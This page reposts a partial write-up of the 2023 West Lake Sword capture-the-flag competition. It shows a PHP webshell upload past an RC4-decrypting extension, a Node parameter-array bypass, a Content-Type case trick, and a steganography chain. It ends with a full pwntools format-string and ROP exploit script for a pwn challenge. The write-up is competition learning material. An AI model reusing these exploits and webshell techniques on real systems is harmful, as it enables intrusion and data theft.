我的编程空间,编程开发者的网络收藏夹
学习永远不晚

2023西湖论剑-(部分)WP

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

2023西湖论剑-(部分)WP

2023西湖论剑-(部分)WP

题目一名称:

unusual php

  1. 打开贴出了源码

发现可以文件上传然后直接上传php

发现提示错误 php没有解析成功

然后读取index.php 发现乱码

猜测后端处理应该有解密的操作,

在 上传文件时候贴上读取的index.php 解析正常 验证了猜想

然后在后面补充任意字符换行最后报错提示了/tmp/fuck.php

然后寻找加密猜测应该是有依赖通过对/proc/self/maps读取发现了

然后把zend_test.so 下载下来逆向分析

发现处理原理,解析时候先把文件读取然后rc4解密写入缓存文件/tmp/fuck.php (必须包含php字符串)

还有密匙直接构造一个加密的webshell上传

成功解析shell

然后读取/flag发现权限不足

测试后发现可以执行chmod

然后直接给flag权限然后读取

sudo chmod 777 flag

题目二名称:Node Magical Login

  1. flag1 直接修改cookie附带user=admin然后查看响应头
  2. 然后想办法得到flag2
  1. function CheckController(req,res) {
  2. let checkcode = req.body.checkcode?req.body.checkcode:1234;
  3. console.log(req.body)
  4. if(checkcode.length === 16){
  5. try{
  6. checkcode = checkcode.toLowerCase()
  7. if(checkcode !== "aGr5AtSp55dRacer"){
  8. res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
  9. }
  10. }catch (__) {}
  11. res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
  12. }else{
  13. res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
  14. }
  15. }

发现 只要触发异常就可以得到flag

根据参数解析的库得到穿个数组就可以触发

  1. checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1

题目三名称:扭转乾坤

直接上传文件提示:禁止 multipart/form-data 类型 然后测试后发现 直接大小写替换成功返回flag

:407a13a21a6b85b1236b003479468c82

一 题目描述

二 解题步骤

1.分析文件

(1)放入Audacity中查看频谱信息无果

(2)010editor中查看文件结构

 文件尾部存在PNG文件尾,搜索png文件头

将该png文件复制提取出来,得到cipher_50CFEh_2FEh.png

有点像二维码,甚至Google到了图片降噪

2. 分析png

使用zsteg查看是否存在lsb信息

 明显看到存在一个zip压缩数据内容。

1

zsteg -E 'b1,r,lsb,xy'  cipher_50CFEh_2FEh.png > c1.zip
#该方式提取出来的zip打开会报错,按照zsteg显示的信息使用stegsolve提取一下

 

 保存后就可以正常打开了,得到一个带密码的压缩包

注:不是伪加密

3.分析zip

密码信息想到一个MP3音频隐写工具  MP3Steno.将cipher.mp3放到工具目录下使用GUI界面解密或者命令行提取都行。

 

 得到

 解压成功得到47.txt

4.分析txt

1

2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj

 

像是某种编码,通过文件名47,联想到  ROT47

 得到另外一串编码,该编码像是js代码变量拼接输出了一些东西,直接F12控制台输出。

 

PWN:

Message Board

from pwn import *


 

context(arch='amd64',log_level='debug')

io = process('./pwn')

io = remote('tcp.cloud.dasctf.com',28345)

libc = ELF('./libc.so.6')

io.recvuntil('name:')

pay = f'%{6+0x19}$p%p'

io.send(pay)

io.recvuntil('Hello, ')

__libc_start_main_128 = int(io.recv(len('0x7efe283c8e40')),16)

stack= int(io.recv(len('0x7efe283c8e40')),16)

log.success(str(__libc_start_main_128))

libc_base = __libc_start_main_128 - 243  - libc.sym['__libc_start_main']

log.success('libc_base:'+hex(libc_base))

log.success('stack:'+hex(stack))

rop= ROP('./libc.so.6')


 

pop_rax = libc_base + rop.find_gadget(['pop rax','ret'])[0]

pop_rsi = libc_base + rop.find_gadget(['pop rsi','ret'])[0]

pop_rdi = libc_base + rop.find_gadget(['pop rdi','ret'])[0]

syscall_ret = libc_base + rop.find_gadget(['syscall','ret'])[0]

#ROPgadget --binary ./libc.so.6 --only "pop|ret"|grep rdx

padb = libc_base +0x000000000015f8c5 # pop rax ; pop rdx ; pop rbx ; ret

log.success(hex(pop_rax))

log.success(hex(pop_rsi))

log.success(hex(pop_rdi))

ret = 0x4013A3

orw_pay = p64(ret)*8 +flat([

    0x0067616c662f,

    padb,

    2,

    0,

    0,

    pop_rsi,

    0,

    pop_rdi,

    stack+0x50,

    syscall_ret,

    pop_rdi,

    3,

    pop_rsi,

    stack+0x50,

    padb,

    0,

    0x40,

    0,

    syscall_ret,

    pop_rax,

    1,

    pop_rdi,

    1,

    syscall_ret

    ])


 

read_pay =  flat([

    pop_rdi,

    0,

    pop_rsi,

    stack+0x10,

    padb,

    0,

    0x100,

    0,

    syscall_ret

    ])


 

print(hex(len(orw)))

io.recvuntil('DASCTF:')

payload = read_pay.ljust(0xb0,b'\x00') +p64(stack + 0x8) + p64(0x4013A2)

io.send(payload)

io.interactive()

io.send(orw_pay)

# Ctrl + c

io.interactive()

 

来源地址:https://blog.csdn.net/xccwxy/article/details/128865983

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

2023西湖论剑-(部分)WP

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录